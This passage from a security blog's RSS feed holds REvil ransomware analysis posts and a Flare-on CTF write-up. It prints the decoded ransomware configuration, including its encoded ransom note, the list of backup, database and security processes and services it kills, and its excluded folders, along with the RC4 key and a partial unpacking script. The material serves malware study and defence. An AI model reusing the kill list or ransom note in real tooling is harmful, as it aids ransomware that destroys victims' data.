AgAG4AbwB0AC4AIABCAHUAdAAgAGkAZgAgAHkAbwB1ACAAZABvAG4AJwB0ACwAIAB5AG8AdQAnAGwAbAAgAGwAbwBzAGUAIAB5AG8AdQByACAAdABpAG0AZQAgAGEAbgBkACAAZABhAHQAYQAgAGMAYQB1AHMAZQAgAG8AbgBsAHkAIAB3AGUAIABoAGEAdgBlACAAdABoAGUAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAeQBvAHUAcgAgAGYAaQBsAGUAcwAuACAASQBuACAAcAByAGEAYwB0AGkAYwBlACAALQAgAHQAaQBtAGUAIABpAHMAIABtAHUAYwBoACAAbQBvAHIAZQAgAHYAYQBsAHUAYQBiAGwAZQAgAHQAaABhAG4AIABtAG8AbgBlAHkALgANAAoADQAKAFsAKwBdACAASABvAHcAIAB0AG8AIABnAGUAdAAgAGEAYwBjAGUAcwBzACAAdABvACAAbwB1AHIAIAB3AGUAYgBzAGkAdABlAD8AIABbACsAXQANAAoADQAKAFUAcwBlACAAVABPAFIAIABiAHIAbwB3AHMAZQByADoADQAKACAAIAAxAC4AIABEAG8AdwBuAGwAbwBhAGQAIABhAG4AZAAgAGkAbgBzAHQAYQBsAGwAIABUAE8AUgAgAGIAcgBvAHcAcwBlAHIAIABmAHIAbwBtACAAdABoAGkAcwAgAHMAaQB0AGUAOgAgAGgAdAB0AHAAcwA6AC8ALwB0AG8AcgBwAHIAbwBqAGUAYwB0AC4AbwByAGcALwANAAoAIAAgADIALgAgAFYAaQBzAGkAdAAgAG8AdQByACAAdwBlAGIAcwBpAHQAZQA6ACAAaAB0AHQAcAA6AC8ALwA0AHQAbwA0ADMAeQBwADQAbQBuAGcAMgBnAGQAYwAzAGoAZwBuAGUAcAA1AGIAdAA3AGwAawBoAHEAdgBqAHEAaQByAGkAdABiAHYANAB4ADIAZQBiAGoAMwBxAHUAbgA3AHcAegA0AHkAMgBpAGQALgBvAG4AaQBvAG4ADQAKAA0ACgBXAGgAZQBuACAAeQBvAHUAIAB2AGkAcwBpAHQAIABvAHUAcgAgAHcAZQBiAHMAaQB0AGUALAAgAHAAdQB0ACAAdABoAGUAIABmAG8AbABsAG8AdwBpAG4AZwAgAGQAYQB0AGEAIABpAG4AdABvACAAdABoAGUAIABpAG4AcAB1AHQAIABmAG8AcgBtADoADQAKAEsAZQB5ADoADQAKAA0ACgANAAoAewBLAEUAWQB9AA0ACgANAAoADQAKACEAIQAhACAARABBAE4ARwBFAFIAIAAhACEAIQANAAoARABPAE4AJwBUACAAdAByAHkAIAB0AG8AIABjAGgAYQBuAGcAZQAgAGYAaQBsAGUAcwAgAGIAeQAgAHkAbwB1AHIAcwBlAGwAZgAsACAARABPAE4AJwBUACAAdQBzAGUAIABhAG4AeQAgAHQAaABpAHIAZAAgAHAAYQByAHQAeQAgAHMAbwBmAHQAdwBhAHIAZQAgAG8AcgAgAGEAbgB0AGkAdgBpAHIAdQBzACAAcwBvAGwAdQB0AGkAbwBuAHMAIAB0AG8AIAAgAHIAZQBzAHQAbwByAGUAIAB5AG8AdQByACAAZABhAHQAYQAgAC0AIABpAHQAIABtAGEAeQAgAGUAbgB0AGEAaQBsACAAdABoAGUAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABkAGEAbQBhAGcAZQAgAGEAbgBkACAAYQBzACAAYQAgAHIAZQBzAHUAbAB0ACAAYQBsAGwAIAB5AG8AdQByACAAZABhAHQAYQAgAGwAbwBzAHMAIQANAAoAIQAhACEAIAAhACEAIQAgACEAIQAhAA0ACgBPAE4ARQAgAE0ATwBSAEUAIABUAEkATQBFADoAIABJAHQAJwBzACAAaQBuACAAeQBvAHUAcgAgAGIAZQBzAHQAIABpAG4AdABlAHIAZQBzAHQAcwAgAHQAbwAgAGcAZQB0ACAAeQBvAHUAcgAgAGYAaQBsAGUAcwAgAGIAYQBjAGsALgAgAEYAcgBvAG0AIABvAHUAcgAgAHMAaQBkAGUAIAB3AGUAIAAoAHQAaABlACAAYgBlAHMAdAAgAHMAcABlAGMAaQBhAGwAaQBzAHQAcwAgAGkAbgAgAHQAaABpAHMAIABzAHAAaABlAHIAZQApACAAcgBlAGEAZAB5ACAAdABvACAAbQBhAGsAZQAgAGUAdgBlAHIAeQB0AGgAaQBuAGcAIABmAG8AcgAgAHIAZQBzAHQAbwByAGkAbgBnACAAYgB1AHQAIABwAGwAZQBhAHMAZQAgAGQAbwAgAG4AbwB0ACAAaQBuAHQAZQByAGYAZQByAGUALgANAAoAIQAhACEAIAAhACEAIQAgACEAIQAAAA==&amp;#39;,
 &amp;#39;net&amp;#39;: False,
 &amp;#39;nname&amp;#39;: &amp;#39;{EXT}-README.txt&amp;#39;,
 &amp;#39;pid&amp;#39;: &amp;#39;$2b$13$wz1reRfdLg.aiStLDqg5JeqqySemSPatWKHdwbpWVrC3ty7Akscg6&amp;#39;,
 &amp;#39;pk&amp;#39;: &amp;#39;SrxAOJ8RkDIIb7jurGu3kJGcui9QRzgmLyRe3dUxNSI=&amp;#39;,
 &amp;#39;prc&amp;#39;: [&amp;#39;vsnapvss&amp;#39;,
         &amp;#39;EnterpriseClient&amp;#39;,
         &amp;#39;firefox&amp;#39;,
         &amp;#39;infopath&amp;#39;,
         &amp;#39;cvd&amp;#39;,
         &amp;#39;tv_x64.exe&amp;#39;,
         &amp;#39;VeeamTransportSvc&amp;#39;,
         &amp;#39;steam&amp;#39;,
         &amp;#39;encsvc&amp;#39;,
         &amp;#39;mydesktopservice&amp;#39;,
         &amp;#39;outlook&amp;#39;,
         &amp;#39;synctime&amp;#39;,
         &amp;#39;ocssd&amp;#39;,
         &amp;#39;SAP&amp;#39;,
         &amp;#39;cvfwd&amp;#39;,
         &amp;#39;bengien&amp;#39;,
         &amp;#39;vxmon&amp;#39;,
         &amp;#39;bedbh&amp;#39;,
         &amp;#39;ocomm&amp;#39;,
         &amp;#39;ocautoupds&amp;#39;,
         &amp;#39;raw_agent_svc&amp;#39;,
         &amp;#39;oracle&amp;#39;,
         &amp;#39;disk+work&amp;#39;,
         &amp;#39;powerpnt&amp;#39;,
         &amp;#39;saposcol&amp;#39;,
         &amp;#39;sqbcoreservice&amp;#39;,
         &amp;#39;sapstartsrv&amp;#39;,
         &amp;#39;beserver&amp;#39;,
         &amp;#39;saphostexec&amp;#39;,
         &amp;#39;dbeng50&amp;#39;,
         &amp;#39;isqlplussvc&amp;#39;,
         &amp;#39;CVODS&amp;#39;,
         &amp;#39;DellSystemDetect&amp;#39;,
         &amp;#39;CVMountd&amp;#39;,
         &amp;#39;TeamViewer.exe&amp;#39;,
         &amp;#39;dbsnmp&amp;#39;,
         &amp;#39;thunderbird&amp;#39;,
         &amp;#39;mspub&amp;#39;,
         &amp;#39;wordpad&amp;#39;,
         &amp;#39;visio&amp;#39;,
         &amp;#39;benetns&amp;#39;,
         &amp;#39;QBCFMonitorService&amp;#39;,
         &amp;#39;TeamViewer_Service.exe&amp;#39;,
         &amp;#39;tv_w32.exe&amp;#39;,
         &amp;#39;QBIDPService&amp;#39;,
         &amp;#39;winword&amp;#39;,
         &amp;#39;thebat&amp;#39;,
         &amp;#39;VeeamDeploymentSvc&amp;#39;,
         &amp;#39;avagent&amp;#39;,
         &amp;#39;QBDBMgrN&amp;#39;,
         &amp;#39;mydesktopqos&amp;#39;,
         &amp;#39;xfssvccon&amp;#39;,
         &amp;#39;sql&amp;#39;,
         &amp;#39;tbirdconfig&amp;#39;,
         &amp;#39;CagService&amp;#39;,
         &amp;#39;pvlsvr&amp;#39;,
         &amp;#39;avscc&amp;#39;,
         &amp;#39;VeeamNFSSvc&amp;#39;,
         &amp;#39;onenote&amp;#39;,
         &amp;#39;excel&amp;#39;,
         &amp;#39;msaccess&amp;#39;,
         &amp;#39;agntsvc&amp;#39;],
 &amp;#39;spsize&amp;#39;: 1,
 &amp;#39;sub&amp;#39;: &amp;#39;58&amp;#39;,
 &amp;#39;svc&amp;#39;: [&amp;#39;QBCFMonitorService&amp;#39;,
         &amp;#39;thebat&amp;#39;,
         &amp;#39;dbeng50&amp;#39;,
         &amp;#39;winword&amp;#39;,
         &amp;#39;dbsnmp&amp;#39;,
         &amp;#39;VeeamTransportSvc&amp;#39;,
         &amp;#39;disk+work&amp;#39;,
         &amp;#39;TeamViewer_Service.exe&amp;#39;,
         &amp;#39;firefox&amp;#39;,
         &amp;#39;QBIDPService&amp;#39;,
         &amp;#39;steam&amp;#39;,
         &amp;#39;onenote&amp;#39;,
         &amp;#39;CVMountd&amp;#39;,
         &amp;#39;cvd&amp;#39;,
         &amp;#39;VeeamDeploymentSvc&amp;#39;,
         &amp;#39;VeeamNFSSvc&amp;#39;,
         &amp;#39;bedbh&amp;#39;,
         &amp;#39;mydesktopqos&amp;#39;,
         &amp;#39;avscc&amp;#39;,
         &amp;#39;infopath&amp;#39;,
         &amp;#39;cvfwd&amp;#39;,
         &amp;#39;excel&amp;#39;,
         &amp;#39;beserver&amp;#39;,
         &amp;#39;powerpnt&amp;#39;,
         &amp;#39;mspub&amp;#39;,
         &amp;#39;synctime&amp;#39;,
         &amp;#39;QBDBMgrN&amp;#39;,
         &amp;#39;tv_w32.exe&amp;#39;,
         &amp;#39;EnterpriseClient&amp;#39;,
         &amp;#39;msaccess&amp;#39;,
         &amp;#39;ocssd&amp;#39;,
         &amp;#39;mydesktopservice&amp;#39;,
         &amp;#39;sqbcoreservice&amp;#39;,
         &amp;#39;CVODS&amp;#39;,
         &amp;#39;DellSystemDetect&amp;#39;,
         &amp;#39;oracle&amp;#39;,
         &amp;#39;ocautoupds&amp;#39;,
         &amp;#39;wordpad&amp;#39;,
         &amp;#39;visio&amp;#39;,
         &amp;#39;SAP&amp;#39;,
         &amp;#39;bengien&amp;#39;,
         &amp;#39;TeamViewer.exe&amp;#39;,
         &amp;#39;agntsvc&amp;#39;,
         &amp;#39;CagService&amp;#39;,
         &amp;#39;avagent&amp;#39;,
         &amp;#39;ocomm&amp;#39;,
         &amp;#39;outlook&amp;#39;,
         &amp;#39;saposcol&amp;#39;,
         &amp;#39;xfssvccon&amp;#39;,
         &amp;#39;isqlplussvc&amp;#39;,
         &amp;#39;pvlsvr&amp;#39;,
         &amp;#39;sql&amp;#39;,
         &amp;#39;tbirdconfig&amp;#39;,
         &amp;#39;vxmon&amp;#39;,
         &amp;#39;benetns&amp;#39;,
         &amp;#39;tv_x64.exe&amp;#39;,
         &amp;#39;encsvc&amp;#39;,
         &amp;#39;sapstartsrv&amp;#39;,
         &amp;#39;vsnapvss&amp;#39;,
         &amp;#39;raw_agent_svc&amp;#39;,
         &amp;#39;thunderbird&amp;#39;,
         &amp;#39;saphostexec&amp;#39;],
 &amp;#39;wfld&amp;#39;: [&amp;#39;backup&amp;#39;, &amp;#39;bkp&amp;#39;, &amp;#39;archive&amp;#39;],
 &amp;#39;wht&amp;#39;: {&amp;#39;ext&amp;#39;: [&amp;#39;dll&amp;#39;,
                 &amp;#39;scr&amp;#39;,
                 &amp;#39;icns&amp;#39;,
                 &amp;#39;ics&amp;#39;,
                 &amp;#39;nomedia&amp;#39;,
                 &amp;#39;sys&amp;#39;,
                 &amp;#39;ps1&amp;#39;,
                 &amp;#39;hlp&amp;#39;,
                 &amp;#39;lock&amp;#39;,
                 &amp;#39;spl&amp;#39;,
                 &amp;#39;msi&amp;#39;,
                 &amp;#39;mpa&amp;#39;,
                 &amp;#39;wpx&amp;#39;,
                 &amp;#39;ocx&amp;#39;,
                 &amp;#39;drv&amp;#39;,
                 &amp;#39;msp&amp;#39;,
                 &amp;#39;cmd&amp;#39;,
                 &amp;#39;rtp&amp;#39;,
                 &amp;#39;key&amp;#39;,
                 &amp;#39;deskthemepack&amp;#39;,
                 &amp;#39;bat&amp;#39;,
                 &amp;#39;ico&amp;#39;,
                 &amp;#39;mod&amp;#39;,
                 &amp;#39;prf&amp;#39;,
                 &amp;#39;diagcfg&amp;#39;,
                 &amp;#39;cpl&amp;#39;,
                 &amp;#39;adv&amp;#39;,
                 &amp;#39;hta&amp;#39;,
                 &amp;#39;ani&amp;#39;,
                 &amp;#39;386&amp;#39;,
                 &amp;#39;bin&amp;#39;,
                 &amp;#39;diagcab&amp;#39;,
                 &amp;#39;msu&amp;#39;,
                 &amp;#39;rom&amp;#39;,
                 &amp;#39;diagpkg&amp;#39;,
                 &amp;#39;shs&amp;#39;,
                 &amp;#39;themepack&amp;#39;,
                 &amp;#39;theme&amp;#39;,
                 &amp;#39;com&amp;#39;,
                 &amp;#39;cab&amp;#39;,
                 &amp;#39;msc&amp;#39;,
                 &amp;#39;icl&amp;#39;,
                 &amp;#39;exe&amp;#39;,
                 &amp;#39;idx&amp;#39;,
                 &amp;#39;nls&amp;#39;,
                 &amp;#39;lnk&amp;#39;,
                 &amp;#39;msstyles&amp;#39;,
                 &amp;#39;cur&amp;#39;],
         &amp;#39;fld&amp;#39;: [&amp;#39;program files&amp;#39;,
                 &amp;#39;mozilla&amp;#39;,
                 &amp;#39;google&amp;#39;,
                 &amp;#39;tor browser&amp;#39;,
                 &amp;#39;program files (x86)&amp;#39;,
                 &amp;#39;boot&amp;#39;,
                 &amp;#39;system volume information&amp;#39;,
                 &amp;#39;intel&amp;#39;,
                 &amp;#39;msocache&amp;#39;,
                 &amp;#39;programdata&amp;#39;,
                 &amp;#39;application data&amp;#39;,
                 &amp;#39;windows.old&amp;#39;,
                 &amp;#39;$windows.~ws&amp;#39;,
                 &amp;#39;$windows.~bt&amp;#39;,
                 &amp;#39;appdata&amp;#39;,
                 &amp;#39;perflogs&amp;#39;,
                 &amp;#39;$recycle.bin&amp;#39;],
         &amp;#39;fls&amp;#39;: [&amp;#39;ntuser.ini&amp;#39;,
                 &amp;#39;autorun.inf&amp;#39;,
                 &amp;#39;ntldr&amp;#39;,
                 &amp;#39;iconcache.db&amp;#39;,
                 &amp;#39;ntuser.dat&amp;#39;,
                 &amp;#39;boot.ini&amp;#39;,
                 &amp;#39;bootsect.bak&amp;#39;,
                 &amp;#39;desktop.ini&amp;#39;,
                 &amp;#39;ntuser.dat.log&amp;#39;,
                 &amp;#39;bootfont.bin&amp;#39;,
                 &amp;#39;thumbs.db&amp;#39;]},
 &amp;#39;wipe&amp;#39;: True}
&lt;/code&gt;&lt;/pre&gt;</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Revil-Malware-Analysis-and-Reverse-Engineering-2.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>malware</category>
            
          
            
              <category>python</category>
            
          
            
              <category>reverse engineering</category>
            
          
            
              <category>revil</category>
            
          
            
              <category>security</category>
            
          
        
        
          
            
              <category>Malware</category>
            
          
            
              <category>Reverse Engineering</category>
            
          
            
              <category>Security</category>
            
          
        
        
      </item>
      
      <item>
        <title>Flare-on 2 - Challenge 3</title>
        <link>https://ben.the-collective.net/posts/2021-02-23-flare-on-2-challenge-3/</link>
        <pubDate>Tue, 23 Feb 2021 09:05:00 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Tue, 23 Feb 2021 09:05:00 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2021-02-23-flare-on-2-challenge-3/</guid>
        <description>This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
In the third challenge, you are greeted with a nice goat named Elfie that when you are typing characters show up on the screen. As always I start off by checking out what kind of binary I am looking at
λ file elfie elfie: PE32 executable (console) Intel 80386, for MS Windows As I said we are greeted by thie goat that eats magic keys</description>
        <content:encoded>&lt;p&gt;This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found &lt;a href=&#34;https://ben.the-collective.net/project-flareon/&#34;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In the third challenge, you are greeted with a nice goat named Elfie that when you are typing characters show up on the screen. As always I start off by checking out what kind of binary I am looking at&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;λ file elfie
elfie: PE32 executable (console) Intel 80386, for MS Windows
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As I said we are greeted by thie goat that eats magic keys&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-23-flare-on-2-challenge-3-images/Screen-Shot-2021-01-23-at-18.09.43.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
After doing some initial analysis in Ghidra found some strings that indicate that this file might be a python executable.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-23-flare-on-2-challenge-3-images/Screen-Shot-2021-01-23-at-18.18.54.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
&lt;img src=&#34;../2021-02-23-flare-on-2-challenge-3-images/Screen-Shot-2021-01-23-at-18.18.33.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Additionally, the icon embedded in the binary should have been a giveaway. I guessed it was probably a pyInstaller executable. I ran it through &lt;em&gt;&lt;a href=&#34;https://github.com/extremecoders-re/pyinstxtractor&#34;&gt;pyinstextractor.py&lt;/a&gt;&lt;/em&gt; to expand it out and get a copy of the python source to analyze.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;C:\Users\IEUser\Desktop
λ pyinstxtractor.py elfie.exe
C:\Tools\pyinstxtractor\pyinstxtractor.py:86: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module&amp;#39;s documentation for alternative uses
  import imp
[*] Processing elfie.exe
[*] Pyinstaller version: 2.1+
[*] Python version: 27
[*] Length of package: 12034944 bytes
[*] Found 26 files in CArchive
[*] Beginning extraction...please standby
[!] Warning: The script is running in a different python version than the one used to build the executable
    Run this script in Python27 to prevent extraction errors(if any) during unmarshalling
[*] Found 244 files in PYZ archive
[+] Possible entry point: _pyi_bootstrap
[+] Possible entry point: pyi_carchive
[+] Possible entry point: elfie
[*] Successfully extracted pyinstaller archive: elfie.exe

You can now use a python decompiler on the pyc files within the extracted directory

C:\Users\IEUser\Desktop
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I found the file &lt;em&gt;elfie&lt;/em&gt; and opened it in VSCode to look at the contents.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-23-flare-on-2-challenge-3-images/Screen-Shot-2021-01-23-at-18.11.44.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
it looks to be full of Base64 strings that are concatenated together, decoded, and executed.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-23-flare-on-2-challenge-3-images/Screen-Shot-2021-01-23-at-18.12.14.png&#34; alt=&#34;Strings&#34; /&gt;&lt;br /&gt;
I changed the final operation to print the encoded python code for further analysis.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-23-flare-on-2-challenge-3-images/Screen-Shot-2021-01-23-at-18.13.31.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
The next layer down looked more like normal python code with obfuscated variable names.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-23-flare-on-2-challenge-3-images/Screen-Shot-2021-01-23-at-18.14.30.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Even looking at the obfuscated code the is pretty obvious but I wanted to clean up some of the variable names to make sure I was not missing anything else.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-23-flare-on-2-challenge-3-images/Screen-Shot-2021-01-23-at-18.14.41.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
After reversing the string the flag is revealed&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-23-flare-on-2-challenge-3-images/Screen-Shot-2021-01-23-at-18.07.41.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
and Elfie is happy!&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-23-flare-on-2-challenge-3-images/Screen-Shot-2021-01-23-at-18.09.33.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Flare-on-Template-2-3.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>ctf</category>
            
          
            
              <category>flare-on</category>
            
          
            
              <category>python</category>
            
          
            
              <category>reverse engineering</category>
            
          
            
              <category>wireshark</category>
            
          
        
        
          
            
              <category>Reverse Engineering</category>
            
          
        
        
      </item>
      
      <item>
        <title>Reversing Revil Malware - Part 1 - Stage 1 Unpacker</title>
        <link>https://ben.the-collective.net/posts/2021-02-17-reversing-revil-part-1-stage-1-unpacker/</link>
        <pubDate>Wed, 17 Feb 2021 09:00:00 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 17 Feb 2021 09:00:00 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2021-02-17-reversing-revil-part-1-stage-1-unpacker/</guid>
        <description>This is the first in a series looking at part of the REvil malware. I will start off by showing a brief triage overview of the sample and then dive into the initial details of the stage 1 unpacker. Let us get into it!
Initial Triage The Revil (aka Sodinokibi) malware is ransomware that encrypts files on a victim’s disk and leaves a note to head to a Tor link to send payment to decrypt your files.</description>
        <content:encoded>&lt;p&gt;This is the first in a series looking at part of the REvil malware. I will start off by showing a brief triage overview of the sample and then dive into the initial details of the stage 1 unpacker. Let us get into it!&lt;/p&gt;
&lt;h2 id=&#34;initial-triage&#34;&gt;Initial Triage&lt;/h2&gt;
&lt;p&gt;The Revil (aka Sodinokibi) malware is ransomware that encrypts files on a victim’s disk and leaves a note to head to a Tor link to send payment to decrypt your files. The sample I am analyzing has the following has the hash.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;λ sha256sum.exe revil.bin
329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483 *revil.bin
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Uploading the sample to Virustotal showed that it was detected as malicious by the majority of antivirus engines.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-17-reversing-revil-part-1-stage-1-unpacker-images/Screen-Shot-2021-02-10-at-18.14.35.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
&lt;a href=&#34;https://www.virustotal.com/gui/file/329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483/detection&#34;&gt;VirusTotal&lt;/a&gt;&lt;br /&gt;
I ran the sample using the sandbox Any.Run, and during the run, you can see it encrypt the files and change the background to instruct the user to look at the ransom note.&lt;/p&gt;
&lt;div style=&#34;display: block; width: 600px;&#34;&gt; &lt;video controls=&#34;&#34; src=&#34;https://content.any.run/tasks/1a16b3e4-7466-4d65-a661-fcc5d8671023/download/mp4&#34; width=&#34;100%&#34;&gt;&lt;/video&gt;&lt;div style=&#34;text-align: right; padding: 5px 0 5px;&#34;&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&#34;https://app.any.run/tasks/1a16b3e4-7466-4d65-a661-fcc5d8671023&#34;&gt;ANY.RUN task&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;After the quick triage showing what this sample does to the victim’s computer, we will start to dive deeper into various aspects of how this sample operates, starting with the initial unpacking.&lt;/p&gt;
&lt;h2 id=&#34;unpacking&#34;&gt;Unpacking&lt;/h2&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-17-reversing-revil-part-1-stage-1-unpacker-images/Screen-Shot-2021-02-10-at-19.05.00.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
The Revil malware has two stages, the first stage contains an RC4 encrypted second-stage payload that is unpacked into memory. The second stage payload executes the ransomware functions encrypting files on disk. This executable follows a few steps where the second stage data is decrypted, placed into memory, and then executed.&lt;/p&gt;
&lt;p&gt;The main function reflects this flow, looking at the marked-up IDA de-compiler screenshot. You can see the RC4 key copied into a memory buffer used to set up the RC4 KSA.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-17-reversing-revil-part-1-stage-1-unpacker-images/d81cf290baca4f55936984d14e934e09.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
The resulting S array is passed into the decryption payload function.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-17-reversing-revil-part-1-stage-1-unpacker-images/c0809a1de5b04dc5bfd88ce37d18fd18.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-17-reversing-revil-part-1-stage-1-unpacker-images/Screen-Shot-2021-02-09-at-19.11.19-edited.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
The decryption loop pulls data from a pointer I named &lt;strong&gt;PAYLOAD_DATA&lt;/strong&gt; that points to the start of the .&lt;strong&gt;enc&lt;/strong&gt; section of the binary file. The data is decrypted and written back into the .&lt;strong&gt;enc&lt;/strong&gt; section.&lt;/p&gt;
&lt;p&gt;To simplify second stage extraction for further analysis, I have written a simple python script to extract the payload, decrypting it, and writing the second stage content to disk.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;17
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;18
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;19
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;20
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;21
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;pefile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;ARC4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;pe&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pefile&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PE&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;firststage&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;key&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;kZlXjn3o373483wb6ne1LIBNWD3KWBEK&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;section_name&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;enc&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
